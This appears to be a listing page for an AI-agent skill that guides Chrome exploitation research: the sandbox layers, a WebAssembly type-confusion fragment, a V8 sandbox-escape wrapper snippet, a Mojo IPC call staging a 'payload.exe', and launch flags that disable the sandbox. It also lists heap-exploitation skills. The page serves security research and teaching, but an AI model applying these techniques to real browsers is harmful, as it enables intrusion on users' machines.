skills/binary-exploitation/chrome-exploiting/SKILL.md
Guide for Chrome browser exploitation research and full-chain vulnerability analysis. Use this skill when researching Chrome security, analyzing browser vulnerabilities, developing proof-of-concepts for CVEs, or understanding Chrome's multi-layered sandbox architecture. Trigger this skill for any Chrome exploitation questions, V8 sandbox escape techniques, Mojo IPC abuse, WebAssembly JIT bugs, or when setting up Chrome debugging environments for security research.
npx skillsauth add abelrguezr/hacktricks-skills chrome-exploitation-researchInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
A practical guide for security researchers analyzing Chrome browser vulnerabilities and developing full-chain exploitation techniques.
Use this skill when you need to:
Chrome uses a layered defense-in-depth model with three main sandbox boundaries:
+-------------------------------------------------------------------------+
| Chrome Browser |
| |
| +----------------------------+ +-----------------------------+ |
| | Renderer Process | | Browser/main Process | |
| | [No direct OS access] | | [OS access] | |
| | +----------------------+ | | | |
| | | V8 Sandbox | | | | |
| | | [JavaScript / Wasm] | | | | |
| | +----------------------+ | | | |
| +----------------------------+ +-----------------------------+ |
| | IPC/Mojo | |
| V | |
| +----------------------------+ | |
| | GPU Process | | |
| | [Restricted OS access] | | |
| +----------------------------+ | |
+-------------------------------------------------------------------------+
A remote attacker typically needs three successive primitives:
Goal: Achieve arbitrary read/write within V8 heap
Common Vectors:
Example: WebAssembly Type Confusion
(module
(type $t0 (func (param externref) (result externref)))
(func $f (param $p externref) (result externref)
(local $l externref)
block $exit
loop $loop
local.get $p ;; value with real ref-type
;; compiler incorrectly re-uses it as int64 in the same block
br_if $exit ;; exit condition keeps us single-block
br $loop
end
end)
(export "f" (func $f)))
JavaScript Trigger:
const wasmMod = new WebAssembly.Module(bytes);
const wasmInst = new WebAssembly.Instance(wasmMod);
const f = wasmInst.exports.f;
// Warm-up for JIT optimization
for (let i = 0; i < 1e5; ++i) f({});
// Create primitives
let victim = {m: 13.37};
let fake = arbitrary_data_backed_typedarray;
let addrVict = addrOf(victim);
Outcome: Arbitrary read/write (AAR/AAW) within V8 heap
Goal: Escape from V8 sandbox to full renderer memory access
Common Vectors:
Example: Wrapper Mismatch Exploitation
function wrapperGen(arg) {
return f(arg);
}
// Force tier-up compilation (internals-only flag)
%WasmTierUpFunction(f);
wrapperGen(0x1337n);
Key Steps:
Outcome: Full read/write primitive on renderer process memory
Goal: Execute code outside Chrome's OS sandbox
Common Vectors:
Example: Mojo IPC Abuse
const payloadPath = "C:\\Users\\Public\\payload.exe";
chrome.webview.postMessage({
type: "DragStart",
data: {
title: "MyFile",
file_path: payloadPath,
mime_type: "application/x-msdownload"
}
});
Key Insight: Logic-level weaknesses in privileged Mojo IPC interfaces often require no additional memory corruption
Outcome: Remote Code Execution (RCE) with user privileges
# Install HTTP server for serving PoCs
npm i -g http-server
# Clone exploit development repository
git clone https://github.com/Petitoto/chromium-exploit-dev
cd chromium-exploit-dev
# Start local server
http-server -p 8000 -c -1
Launch development Chrome with these flags for research:
# Windows
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
# Linux
./chrome --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
# macOS
./Google\ Chrome.app/Contents/MacOS/Google\ Chrome --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" \
-symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
⚠️ Critical Guidelines:
After understanding the methodology:
testing
How to perform a House of Lore (small bin attack) heap exploitation. Use this skill whenever the user mentions heap exploitation, small bin attacks, fake chunks, glibc heap vulnerabilities, or needs to insert fake chunks into small bins for arbitrary read/write. Trigger for CTF challenges involving heap corruption, glibc 2.31+ exploitation, or when the user needs to bypass malloc sanity checks using fake chunk linking.
testing
How to perform House of Force heap exploitation attacks. Use this skill whenever the user mentions heap exploitation, House of Force, top chunk manipulation, arbitrary memory allocation, malloc manipulation, or wants to allocate chunks at specific addresses. Also trigger for CTF challenges involving heap overflows, top chunk size overwrites, or when the user needs to calculate evil_size for heap attacks. Make sure to use this skill for any binary exploitation task involving glibc heap manipulation, even if they don't explicitly say "House of Force".
tools
How to perform House of Einherjar heap exploitation to allocate memory at arbitrary addresses. Use this skill whenever the user mentions heap exploitation, glibc heap attacks, arbitrary memory allocation, off-by-one overflow exploitation, tcache poisoning, fast bin attacks, or any CTF challenge involving heap manipulation. This is essential for binary exploitation tasks where you need to control malloc() return addresses.
testing
How to identify, analyze, and exploit heap overflow vulnerabilities in binary exploitation challenges and real-world scenarios. Use this skill whenever the user mentions heap overflows, memory corruption, heap grooming, tcache poisoning, fast-bin attacks, or any heap-related vulnerability in CTF challenges, binary analysis, or security research. This skill covers heap overflow fundamentals, exploitation techniques, heap grooming strategies, and real-world CVE analysis.